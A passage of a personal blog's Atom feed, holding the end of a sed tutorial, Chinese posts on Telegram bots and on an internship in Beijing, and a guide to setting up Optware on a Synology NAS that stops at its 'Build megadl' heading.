&lt;span class=&quot;c&quot;&gt;# replace all 'test' from the 2nd to the end of each line with 'text'&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'s/test/text/2g'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# replace the 'test' in the 2nd line with 'text'&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'2s/test/text/g'&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Insert &amp;amp; Append a whole line: &lt;code class=&quot;highlighter-rouge&quot;&gt;i&lt;/code&gt; &amp;amp; &lt;code class=&quot;highlighter-rouge&quot;&gt;a&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# insert a new line before the 2nd line&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'2 i test'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# append a new line after the 2nd line&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'2 a test'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# append a new line after each line that matches the regex pattern&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'/test/a test'&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Replace a whole line: &lt;code class=&quot;highlighter-rouge&quot;&gt;c&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# replace the 2nd line with 'test'&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'2 c test'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# replace each line that matches the regex pattern with 'text'&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'/test/c text'&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;In-place editing: &lt;code class=&quot;highlighter-rouge&quot;&gt;-i&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# make immediate change!&lt;/span&gt;
sed -i &lt;span class=&quot;s1&quot;&gt;'s/test/text/g'&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;advanced-usage---pattern-space--hold-space&quot;&gt;Advanced usage - Pattern Space &amp;amp; Hold Space&lt;/h3&gt;

&lt;p&gt;(Next article)&lt;/p&gt;

&lt;div class=&quot;footnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;http://www-users.york.ac.uk/~mijp1/teaching/2nd_year_Comp_Lab/guides/grep_awk_sed.pdf&quot;&gt;grep, awk and sed – three VERY useful command-line utilities&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot;&gt;&amp;#8617;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;

          
          
        
      
        </content><summary>grep, awk and sed are three of the most useful command-line tools1 in *nix world. And this article will give you a brief introduction and basic usages of these three different commands.            grep, awk and sed – three VERY useful command-line utilities&amp;nbsp;&amp;#8617;&amp;#xfe0e;      </summary></entry><entry><title>从 Bot 谈起</title><id>http://blog.cee.moe/talking-from-bot.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/talking-from-bot.html" /><published>2016-08-17T00:00:00-07:00</published><updated>2016-08-17T09:22:43-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;h2 id=&quot;bot&quot;&gt;Bot&lt;/h2&gt;

&lt;p&gt;最近看到 Telegram 上涌现出很多很有意思的 Bot（机器人），自己也在写一个 Bot。把这些 Bot 归归类无非也就分为以下几种：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;娱乐类型的 Bot，比如狼人（&lt;code class=&quot;highlighter-rouge&quot;&gt;@werewolfIIbot&lt;/code&gt;）、UNO（&lt;code class=&quot;highlighter-rouge&quot;&gt;@mau_mau_bot&lt;/code&gt;）等；&lt;/li&gt;
  &lt;li&gt;图片视频类型的 Bot，比如 GIF 图片（&lt;code class=&quot;highlighter-rouge&quot;&gt;@gif&lt;/code&gt;）等；&lt;/li&gt;
  &lt;li&gt;资讯信息类型的 Bot，比如投票（&lt;code class=&quot;highlighter-rouge&quot;&gt;@vote&lt;/code&gt;）等。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;重点谈谈第三个，区别于前两者，这里我们在&lt;strong&gt;获取知识（Acquire knowledge）&lt;/strong&gt;。尽管说互联网让我们获取信息的速度变快了，但是随着信息数量爆炸式地增长，有用的信息也相对在减少。如何在最短的时间内获得质量较高的内容和信息点必然是今后研究或者探讨的重点。&lt;/p&gt;

&lt;p&gt;举个例子：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;您的 User ID: 63322333&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;对于一个普通用户来说知道自己的 Telegram ID 有个〇〇用！(╯°Д°)╯︵ ┻━┻&lt;/p&gt;

&lt;p&gt;真正值得人们吸收营养的消息必然需要信息的加工处理。如果不，Bot 生成出来 99% 消息对 99% 的人来说都没啥用（我是说在座的各位写的 Bot，〇〇〇〇【自行脑补】），也可称其为 Toy（玩具）了。&lt;/p&gt;

&lt;h2 id=&quot;toy&quot;&gt;Toy&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;Wikipedia：玩具泛指可用来玩的物品，通常与儿童或宠物有关。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;最近有和一些呆在创业公司的机油们聊天，都在说诸如：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;啊我们的产品又是像素级抄袭〇〇。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;大家都知道的〇付宝的某界面像素级还原〇信。又或者：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;PM 整天改需求真是〇〇〇〇〇〇〇。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这种情况就是做产品的 PM 脑子进了水，像个孩子一样不考虑周全就把程序员当玩具耍，想做什么就是什么。反过来想想，各位的家长一定在你小（or 发脾气 or 过年 or 过生日）的时候会说：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;「长大了，该像大人一样思考了。」&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;然而上了班发现大多数人（尤其是 PM）还在和小孩子一样思考。「给我在几天中做一个〇〇」、「做不完〇〇就继续加班」已经是家长便饭了。&lt;strong&gt;缺乏理性的任务拆解、人员分配、时间估算，是绝大多数公司的通病。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;75 年出版的「人月神话」中说明了复杂的软件工程问题无法在短期内无靠简单的答案来解决，而到现在却很少有单位在实行具有意义的敏捷开发理论。使用 &lt;strong&gt;Scrum&lt;/strong&gt; 组织开发流程真的是我在&lt;a href=&quot;http://pudding.cc&quot;&gt;布丁&lt;/a&gt;实习中学到的最好的东西。&lt;/p&gt;

&lt;h2 id=&quot;others&quot;&gt;Others&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;我们总是会变成曾经自己讨厌的那种人。&lt;/li&gt;
  &lt;li&gt;自由是自己选择的：「要为自己喜欢的而活；健康与自由比一切都重要；业余爱好和工作一样重要；有能力的人绝不加班；远离那些不聪明且勤奋的人。」&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
  &lt;p&gt;PS：上一次写「从…谈起」还是写&lt;a href=&quot;http://blog.cee.moe/talking-from-binary-search.html&quot;&gt;二分法&lt;/a&gt;的时候。Time flies.&lt;/p&gt;
&lt;/blockquote&gt;

          
          
        
      
        </content><summary>Bot</summary></entry><entry><title>帝都生存日记（07/13 - 08/07）</title><id>http://blog.cee.moe/live-in-beijing-month-one.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/live-in-beijing-month-one.html" /><published>2016-08-07T00:00:00-07:00</published><updated>2016-08-06T23:55:06-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;来北京快一个月了，真的算是忙得飞起。想给自己一点时间记录记录生活工作，结果每天都是「感觉身体被掏空」。不过也很正常，一个月的时间来调整一下自己的作息，有机会和师傅（&lt;a href=&quot;http://www.justzht.com&quot;&gt;@JustZht&lt;/a&gt;）一样每天更新一下（前提是电脑天天带回家）。&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;生活&quot;&gt;生活&lt;/h2&gt;

&lt;p&gt;开始做早饭：下面、下饺子、下汤圆、烤面包。除了没怎么做过沙拉（冰箱里的紫甘蓝也快坏了吧）还有饼和煮粥，倒是基本上都做过了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/08/07/57a6d59fe19a1.jpeg&quot; alt=&quot;饺子&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/08/07/57a6d59fe7cbe.jpeg&quot; alt=&quot;汤圆&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/08/07/57a6d59fd1568.jpeg&quot; alt=&quot;面（下烂了）&quot; /&gt;&lt;/p&gt;

&lt;p&gt;由于上班时间就比较随意的原因，起居比较正常，基本上每天一点前睡觉，八点半起床。七月初刚到北京的时候，去宜家采购了一批非常实用的东西。继续安利&lt;strong&gt;餐巾纸夹&lt;/strong&gt;和墙上的&lt;strong&gt;吸盘&lt;/strong&gt;，还有宜家的&lt;strong&gt;桌板&lt;/strong&gt;，真的太太太实用了！&lt;/p&gt;

&lt;p&gt;午饭就和陈叔说的那样，从来没带过饭，和师傅陈叔愿愿四个人吃得很 High。第一次喝到&lt;strong&gt;&lt;a href=&quot;http://beibingyang.com&quot;&gt;北冰洋&lt;/a&gt;&lt;/strong&gt;的我也是一脸懵逼的，因为以前根本不知道这是啥，貌似北方才有吧。&lt;/p&gt;

&lt;p&gt;晚饭就更加随意，这一个月的约饭特别多。以至于回家做饭就做了一次，吃完饭洗完竟然已经十点半了，不禁觉得做晚饭这种事情还是放在周末做吧。&lt;/p&gt;

&lt;h2 id=&quot;工作&quot;&gt;工作&lt;/h2&gt;

&lt;p&gt;去了渡鸦科技的 Lab 组，真的非常的 Geek（Especially 说的是陈叔），但是忙的时候真的忙成狗。没有打卡考勤，and do everything geek and you like！&lt;/p&gt;

&lt;p&gt;开始写 Animation，基本把初中和高中的数学知识忘给老师了。对于这种东西你们百分之一百也是懵逼的：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/08/07/57a6d9d138c9c.png&quot; alt=&quot;求两圆内公切线与圆的四个交点&quot; /&gt;&lt;/p&gt;

&lt;p&gt;开始写 Python，做了个很好玩的 Telegram Bot。&lt;/p&gt;

&lt;p&gt;其他工作方面的东西，还是保密😂！&lt;/p&gt;

&lt;h2 id=&quot;其他&quot;&gt;其他&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;办了一次 &lt;T&gt; 沙龙。希望八月份各位也能多多支持，在征集 CI 的 Speaker。&lt;/T&gt;&lt;/li&gt;
  &lt;li&gt;去杭州在 Connext 做了一次 Speaking，谢谢天语！Slides &lt;a href=&quot;https://speakerdeck.com/cee/from-an-idea-to-a-product&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;订到了今年的「マジカルミライ２０１６」的票，小心脏受不了了！&lt;/li&gt;
  &lt;li&gt;还有月底去听 A 叔的钢琴独奏会！&lt;/li&gt;
  &lt;li&gt;强调一下&lt;strong&gt;执行力&lt;/strong&gt;，真的很重要。&lt;/li&gt;
  &lt;li&gt;心智不成熟是一件很麻烦的事情。&lt;/li&gt;
  &lt;li&gt;吃饭吃什么是一件很纠结的事情，下个月希望通过第 5 点来把这个问题解决了。&lt;/li&gt;
  &lt;li&gt;继续准备刷一次 T，争取 105 吧。&lt;/li&gt;
&lt;/ol&gt;

          
          
        
      
        </content><summary>来北京快一个月了，真的算是忙得飞起。想给自己一点时间记录记录生活工作，结果每天都是「感觉身体被掏空」。不过也很正常，一个月的时间来调整一下自己的作息，有机会和师傅（@JustZht）一样每天更新一下（前提是电脑天天带回家）。</summary></entry><entry><title>How to build megadl on your Synology DS215j</title><id>http://blog.cee.moe/how-to-build-megadl-on-your-synology-ds215j.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/how-to-build-megadl-on-your-synology-ds215j.html" /><published>2016-04-05T00:00:00-07:00</published><updated>2016-04-04T22:42:25-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;h1 id=&quot;optware-bootstrap&quot;&gt;Optware Bootstrap&lt;/h1&gt;

&lt;h2 id=&quot;set-up-ipkg&quot;&gt;Set up ipkg&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;feed&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable
&lt;span class=&quot;nv&quot;&gt;ipk_name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;wget -qO- &lt;span class=&quot;nv&quot;&gt;$feed&lt;/span&gt;/Packages | awk &lt;span class=&quot;s1&quot;&gt;'/^Filename: ipkg-opt/ {print $2}'&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
wget &lt;span class=&quot;nv&quot;&gt;$feed&lt;/span&gt;/&lt;span class=&quot;nv&quot;&gt;$ipk_name&lt;/span&gt;
tar -xOvzf &lt;span class=&quot;nv&quot;&gt;$ipk_name&lt;/span&gt; ./data.tar.gz | tar -C / -xzvf -
mkdir -p /opt/etc/ipkg
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;src cross &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$feed&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &amp;gt; /opt/etc/ipkg/feeds.conf&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;create-the-optware-root-directory&quot;&gt;Create the optware root directory&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;mkdir /volume1/@optware
mv /opt/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; /volume1/@optware/
rm -r /opt
ln -s /volume1/@optware /opt&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;add-opt-to-path&quot;&gt;Add &lt;code class=&quot;highlighter-rouge&quot;&gt;/opt&lt;/code&gt; to PATH&lt;/h2&gt;

&lt;p&gt;Add the following line to /root/.profile or if you are using a user-account to get SSH access /home/username/.bashrc or the ZSH equivalent /home/username/.zshrc.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/opt/bin:/opt/sbin:&lt;span class=&quot;nv&quot;&gt;$PATH&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;set-up-the-init-scripts&quot;&gt;Set up the init-scripts&lt;/h2&gt;

&lt;p&gt;Create the folder where the script will be placed.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;mkdir -p /usr/local/etc/rc.d/&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;/usr/local/etc/rc.d/optware.sh:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/sh&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Optware setup&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Alternatives Optware Startup und Shutdown Script #/usr/local/etc/rc.d/optware.sh&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in
&lt;/span&gt;start&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; ! -h /opt -a ! -d /opt &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ln -s /volume1/@optware /opt
       &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /opt/etc/init.d/S??&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; ;&lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
               &lt;span class=&quot;c&quot;&gt;# Ignore dangling symlinks (if any).&lt;/span&gt;
               &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; ! -f &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
               &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt;
                  &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;.sh&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                       &lt;span class=&quot;c&quot;&gt;# Source shell script for speed.&lt;/span&gt;
                       &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
                               &lt;span class=&quot;nb&quot;&gt;trap&lt;/span&gt; - INT QUIT TSTP
                               &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;start
                               . &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;
                       &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
                       &lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt;
                  &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                       &lt;span class=&quot;c&quot;&gt;# No sh extension, so fork subprocess.&lt;/span&gt;
                       &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; start
                       &lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt;
               &lt;span class=&quot;k&quot;&gt;esac&lt;/span&gt;
       &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
       &lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
stop&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
       &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /opt/etc/init.d/S??&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; ;&lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
               &lt;span class=&quot;c&quot;&gt;# Ignore dangling symlinks (if any).&lt;/span&gt;
               &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; ! -f &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
               &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt;
                  &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;.sh&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                       &lt;span class=&quot;c&quot;&gt;# Source shell script for speed.&lt;/span&gt;
                       &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
                               &lt;span class=&quot;nb&quot;&gt;trap&lt;/span&gt; - INT QUIT TSTP
                               &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;stop
                              . &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;
                       &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
                       &lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt;
                  &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                       &lt;span class=&quot;c&quot;&gt;# No sh extension, so fork subprocess.&lt;/span&gt;
                       &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; stop                       &lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt;
               &lt;span class=&quot;k&quot;&gt;esac&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
         &lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
         &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Usage: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; [start|stop]&quot;&lt;/span&gt;
         &lt;span class=&quot;p&quot;&gt;;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;esac&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# End&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Make it executable.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;chmod +x /usr/local/etc/rc.d/optware.sh&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Then reboot.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;reboot&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h1 id=&quot;install-packages-with-ipkg&quot;&gt;Install packages with &lt;code class=&quot;highlighter-rouge&quot;&gt;ipkg&lt;/code&gt;&lt;/h1&gt;

&lt;p&gt;Update the packages list and install packages that you need (like &lt;code class=&quot;highlighter-rouge&quot;&gt;gawk&lt;/code&gt; etc.).&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;ipkg update
ipkg install &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;YOUR PACKAGES] &lt;span class=&quot;c&quot;&gt;# I forget to take notes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h1 id=&quot;build-megadl&quot;&gt;Build megadl&lt;/h1&gt;

